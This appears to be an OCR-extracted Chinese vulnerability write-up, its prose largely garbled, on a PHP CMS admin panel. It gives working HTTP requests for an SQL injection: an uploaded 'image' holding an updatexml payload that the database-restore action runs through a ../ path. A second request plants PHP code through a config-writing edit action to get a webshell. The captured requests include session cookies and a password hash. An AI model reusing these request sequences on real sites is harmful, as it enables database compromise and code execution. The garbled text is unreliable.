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[-- admin
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1.8QL EA

1. XX lib/admin/database_admin.php 89 dorestore_action() 755 WE| GET 244 do_dir [F&{& /A front:scan($dir)
REPBGRENZ B R TR, REBERRE XHR1E1B% tdatabase::getinstance()—>restoreTables() KA, RiFIZAR

e

f£dir=ROOT."/
if(is_dir($di
$db files=front::scan{$dir};
f ch{$db_files as % 1
if(!preg_match(

,$db_file)) tdatab

$nerrCode=service: :checktable();
if ($nerrcode) {
-»json_info(5, $nerrCode);
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2. FEX 15 lib/table/tdatabase.php B9 restoreTables BRI RIAES!, file_get_contents() REUEEN AN B fEHT T FHE
ME5FR/DE, HREHEWELTE $sqls, REMEL $q, REZEEE Sthis—>query() BREFNIT, LR ZREL,

restoreTables($file)

$database=config::g
set_time_limit(@);

$sglquery = file get contents($file);
if (!$sqlquery)
return;
$sglquery = str_replace("\r", "", $sqlquery);
$sqlquery = str_replace(” y ", $database[ 'prefix’] , $sqlguery);
sqls = preg split ( Wt \n/", $sqlquery);

ftnerrCode =

$i = 0;
foreach ($sqls as $q) {
$q = trim(%$q);
if (39 == ") {
continue;

if ( -»query($q))
Fit+;

$nerrCode .= "HiiT: <font color="blue’'>$q</font> ifg !«

return $nerrCode;
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3. T lib/inc/table.php B9 query BB, $sql 1BEHIEIHBRLZ T Sthis—>db—>query() KL,

query($sql)

return -»db->query($sql);
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4. XA lib/inc/dbmysgli.php BY query EREL, $sql #1Ei%4E $this—>mysqli—>query() BEAIT T, MR DI A A
E7| $this—>mysqli 7 mysqli ESEFIMAONT R, —IKIR FRMSUFZIAZEIENIT SQL EEIZB ME A28,

query($sql)

$res = -»mysqli->query($sql);
if (1$res) {

-»halt{lang_admin{ query’).lang_admin{ failure'}.":\n%sql"};
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connect($host, $%user, $pass, $dbname, %con_db_port =

->mysqli = @ mysgli($host, $user, $pass, $dbname,$con db port);

->mysqli->connect_error) {
::halt( -»mysgli->connect_error);
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Request Response
Pretty JRENM Hex '‘\n = Raw Hex Render ‘n =

1 POST /index. php?case=tool&act=uploadimaged HITP/1.1 1 HITP/1.1 200 OK

2 Host: cms.cn 2 Date: Fri, 28 Oct 2021 13:07:11 GMT

3 Content-Length: 334 3 Server: Apache/2.4.30 (Win64) OpenSSL/1.1.1b mod_fegid/2.3. %9 mod_log_rotate/1.02

4 Accept: application/json, text/javascript. */F; ¢=0.01 4 X-Powered-By: PHP/7.3.4

5 X-Requested-With: XMLHttpRequest 5 Expires: Thu, 19 Nov 1981 08:52:00 GMT

G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: =64) AppleWebKit/537.36 (EHIML, like Gecko) G Cache—Contrel: no-store, no—cache, must-revalidate
Chrome/95. 0. 4638. 54 Safari/537. 36 Edg/95.0.1020. 30 7 Pragma: no-cache

7 Content-Type: multipart/form-data; boundary=———-TebEitFornBoundar yDuzIs5liRf=QGNit 4 Comnection: close

4 Origin: http://ecms.cn O Content-Type: text/html; charset=utf-8

O Referer: http://cms. en/index. php?case=index&act=index&adnin_dir=adnin&site=default 10 Content-Length: 116

10 Accept-Encoding: gzip, deflate 11

12 {"file_onerror_pic”: {"size”: 1, "name”: "\/upload\/images'/202110/1635512831979. jpg”, "type”

11 Accept-Language: zh—-CN, zh;q=0.9, en;q=0. 8, en—GB; q=0. 7, en-US ;q=0. &

12 Cookie: Hm_lvt_hB0316de6009d5654deT312f772162be=1630128604; Hn_lvt_0948dbale5d873b0c1f1cTT078c521c80=
1630234129 bdshare_firstime=1630234924756; tw_comment_author=%3Cimg%20src%3D1%20onerror%iDalert (1)%3E;
PHPSESSID=3bbclhaTpbmlsl jlko5494vEch; login_username=admin; login_password=570e8b4T46£83202794b480d40408L654

13 Connection: close

14

15 |————- WebEitFornBoundar yDuzIs511RE=0GH1t

16 Content-Dispeosition: form-data; name="file_onerror_pic”; filename="min. jpg”

17 Content-Type: image/ jpeg

18
19 select updatexml (1, concat (0xTe, usex (), 0xTe), 1)
20 === WebEitFornBoundar yDuzIs511RE=0GH1t

21 Content-Disposition: form-data; name="file_id"

24 [—————- WebEitFornBoundar yDuzIs511Rf=0GH1t——
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7. fRR SQLIENRE, XEESMAAEXHFIRERE.,
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Request Response

P

GEUN Hex \n = M0l Raw Hex Render \n =

HTTB/1.1 200 OK

GET /index. php?case=databasekact=dorestorekadnin_dir=adminkdb_dir=../../uplead/images/202110 HITE/L.1

2 Host: cms.cn 2 Date: Fri, 29 Oect 2021 13:15:08 GMT
3 Cache—Control: max-age=0 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2. 3. 9a mod_log_rotate/l. 02
4 Upgrade-Insecure-Requests: 1 4 ¥-Powered-By: PHP/T.3.4
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML. like Gecko) Chrome/92.0.4515.159 Safari/537.36 5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Edg/92.0.902. 84 G Cache-Control: no-store, no—cache, must-revalidate
G Accept: 7 Pragma: no—cache
text/htnl, application/xhtnl+xznl, application/xml;g=0. 9, inage/webp, inage/apng, */#;q=0. 8, application/signed-exchange ;v=h3;q=0.9 4 Connection: close
7 Accept-Encoeding: gzip, deflate 9 Content-Type: text/html; charset=utf-8
3 Accept-Language: zh-CN.zh:q=0.9, en:qg=0. 8, en—GE:q=0. 7, en-US:;q=0. 6 10 Content-Length: 123
9 Cookie: Hm_lvt_b60316de6009d5654de7312£772162be=1630128694: Hm_lvt_948dbale5d373h3clfleTT078c521c89=1630234129; bdshare_firstime= 11
1630234924756, tw_comment_author="%3Cimg%20src%3D1%20cnerror%3Dalert (1)%3E; PHPSESSID=3bbclhaTpbnls0jllke5494vioh; login username= 12 Tl
admnin; login_password=870e8b4T46£83202794b480d0408b654 17 select updatexmlil, concat (0xTe, user (), OxTe), 1) <hr/ >
10 Commection: close 14 1105<br/>
11 15 XPATH syntax error: ' root@localhost™ <br/>
12 16 -
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2. FEXHE A getshell

1. 7E3XHF lib/admin/table_admin.php B edit_action() BRELT, 731E file_put_contents PREUHITE NIRIE, 4R EHREA
NN php, POST Bﬁﬁﬁﬁ?\]ﬂ TEIIM 2 ERE) $tag_config &, &/EHIT file_put_contents & $tag config T &
RNE N php X, &48 POST WABSEHIIE, B2 POST N2 81N, Wi MBS E AN

webshell,

$update =
if ( ->table

@unlink
$update
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$post[ I= "¢ | &R = , front::$post[
lang admin( i 1 'H
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2. RIFMSIFAIEREIE N webshell, 12 BEIRBRZAE XA ZE R FAN,

Request Response

LEIUE Hex \n = Raw Hex R

POST /index.php?case=tablefact=edit&adnin_dir=adminksite=default&tagfrom=shopcontent HTTP/1.1 HITP/1.1 302 Found
Host: cms.en 2 Date: Fri, 29 Oct 2021 13:48:21 GNT

\n | =

1

3 Accept: #/% 3 Server: Apache/2.4.39 (Winf4) OpenSSL/1.1.1b mod_fegid/2.3.9a mod_log_r¢
4 User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4: =64) AppleWebKit/537.36 (KEHIML, like Geckeo) 4 X-Powered-By: PHP/7.3.4
Chrome/92. 0.4515. 159 Safari/537. 36 Edg/92.0.902. 84 5 Expires: Thu, 19 Nov 1981 08:52: 00 GMT
5 X-Requested-With: XMLHttpRequest G Cache-Control: no—store, no—cache, must-revalidate
G Referer: http://ems. en/index. php?admin_dir=admingsite=default 7 Pragma: no—cache
7 Accept-Encoding gzip, deflate i Location: /index.php?case=tablekact=listkadmin_dir=adminksite=defaultft:
5 Accept-Language: zh—CHN, zh:g=0.9,en:g=0. 8, en—GB; g=0. 7. en-US:g=0. 6 9 Content-Length: 0
9 Cookie: Hm_lvt_bB0316de6009d5654deT7312fT72162be=16301258694; Hm_lvt_948dbale5dET73b9clflcTT0T8c521eB89=1630234129; 10 Comnection: close
bdshare_firstime=1630234924756; tw_comment_author=%3Cimg%20src%iD1%20onerror®%3Dalert (1)%3E; FHPSESSID= 11 Content-Type: text/html: charset=utf-§
3bbelhaTpbunls0jlko5494v5eh; login_username=admin: login_password=8T70e8b4746£83292794b480d0408b654 12
10 Comnection: close 13

Content-Type: application/z—www—form—urlencoded
Content-Length: 53

o

submit=1&tagcontent=1&titlenum=1&<?%3dphpinfo() ; 7>=11
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3. 15/8) webshell
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E piLEsR - EaEE % |E PHP 7.3.4 - phpinfof)

C A T2 | cmsen/conf

a:7:{s:10:"tagcontent”;s:1:"17;5:8:"titlenum";s:1:"1",5:15:"

System Windows NT DESKTOP-TMICQSM 10.0 build 19042 (Windows 10) AMD6G4

Euild Date Apr 2 2019 21:50:57

Compiler MSEWC15 (Visual C+=+ 2017)

Architecture %64

Configure Command cscript /nologo configure js "--enable-snapshot-build® *--enable-debug-pack” *--disable-zts* "--with-

pdo-occi=c\php-snap-buildideps_awdoracle\xefinstantclient_12_1\sdk,shared" *--with-oci8-12c=c\php-
snap-build\deps_awdocracle\xefinstantclient_12_1\sdk,shared" *--enable-cbject-out-dir=_sobj/™ *--
enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"

Server APl CGIfFastCal

Virtual Directory Support disabled

Cenfiguration File (php.ini) Path CHWINDOWS

Loaded Cenfiguration File D\phpstudy_pro\Extensicns\phpyphp? . 3.4nts\php.ini
Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)
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SQL JEN: MXHHERER SQL 1E8), MARXARSAEAIEIAFMAIEEFAE SQL JEA.
ERXMHE A getshell: R POST ZHIVEB ST, BEBTER T FICRMSEUDAFI BT ZHBZENERN
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